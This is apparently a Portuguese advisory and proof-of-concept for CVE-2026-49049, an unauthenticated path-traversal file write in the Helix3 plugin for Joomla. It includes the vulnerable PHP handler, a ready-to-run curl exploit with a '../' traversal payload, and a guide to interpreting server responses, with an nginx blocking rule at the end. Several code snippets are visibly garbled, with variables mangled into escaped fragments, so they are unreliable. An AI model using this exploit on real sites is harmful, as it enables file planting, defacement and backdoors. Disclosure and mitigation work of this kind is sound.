
Análise técnica e Prova de Conceito (PoC) para CVE-2026-49049, uma vulnerabilidade de gravação arbitrária de arquivos sem autenticação no JoomShaper Helix3 para Joomla, incluindo vetores de exploração e orientações de mitigação.
O repositório contém materiais, análise técnica e Prova de Conceito (PoC) para a vulnerabilidade crítica CVE-2026-49049, encontrada no obsoleto framework de templates Helix3 da JoomShaper para CMS Joomla (versões 1.0 a 3.1.0 inclusive).
A vulnerabilidade está ativamente sendo explorada na natureza por botnets automatizados (em particular, como parte da campanha de desfiguração AntonKill).
O problema está no manipulador AJAX do sistema Joomla (com_ajax), que chama o método onAjaxHelix3() no plugin plg_ajax_helix3. Os desenvolvedores do componente não previram:
layoutName.public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// Falta verificação de permissões! Falta filtragem de caminho!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// Grava dados controlados em um diretório arbitrário do servidor
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
Para verificar a vulnerabilidade, utiliza-se uma requisição POST com tipo de conteúdo application/x-www-form-urlencoded. Este método de empacotamento de parâmetros é o mais eficaz para demonstrar a falha.
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
| Parâmetro | Valor / Exemplo | O que significa para o servidor |
|---|---|---|
option | com_ajax | Ponto de entrada no Joomla para processar requisições AJAX. |
plugin | helix3 | Identificador do sistema que faz o Joomla passar o controle para o plugin vulnerável Helix3. |
format | json | Indica ao mecanismo para retornar resposta em formato JSON. |
-d | data[...] | Corpo da requisição (Form Data), automaticamente interpretado pelo PHP no array global $_POST. |
data[action] | save | Interruptor switch no código. Instrui o plugin a chamar a função de gravação (criação) de arquivo. |
data[layoutName] | ../../../../../../../example | Vetor de ataque chave (Path Traversal). Os caracteres ../ fazem o sistema operacional sair da pasta isolada do plugin para o diretório raiz do site. A extensão .json será adicionada automaticamente pelo plugin. |
data[content] | {"probe":"test"} | Carga útil (Payload). Dados de texto que serão fisicamente gravados dentro do arquivo criado example.json. Em ataques reais, código malicioso de desfiguração ou backdoors são injetados aqui. |
Ao realizar testes de penetração, o servidor pode retornar diferentes tipos de respostas. Sua interpretação é criticamente importante:
Resposta do servidor:
{"success":true,"message":null,"messages":null,"data":[]}
Interpretação: O plugin está vulnerável, não há restrições do SO. O arquivo foi criado com sucesso na raiz do site e está acessível em https://target.com. O site requer limpeza e isolamento imediatos.
Resposta do servidor:
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
Interpretação: Sucesso parcial. A lógica do plugin Helix3 foi violada — ele aceitou dados sem autenticação e tentou abrir o arquivo para gravação (fopen). No entanto, o sistema operacional Linux bloqueou esta ação, pois o usuário do servidor web (por exemplo, www-data) não tem permissões de gravação na raiz do site.
Resposta do servidor: Status 404 Not Found, 403 Forbidden ou resposta vazia [].
Interpretação: O plugin foi atualizado para a versão segura (3.1.1+), onde a verificação de autenticação foi adicionada, ou foi completamente removido do CMS.
plg_ajax_helix3 através do painel de administração do Joomla.if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }
Aviso: Este material é fornecido exclusivamente para fins educacionais e para auditoria legítima de segurança de sistemas (Pentesting). O autor não se responsabiliza pelo uso indevido das informações fornecidas.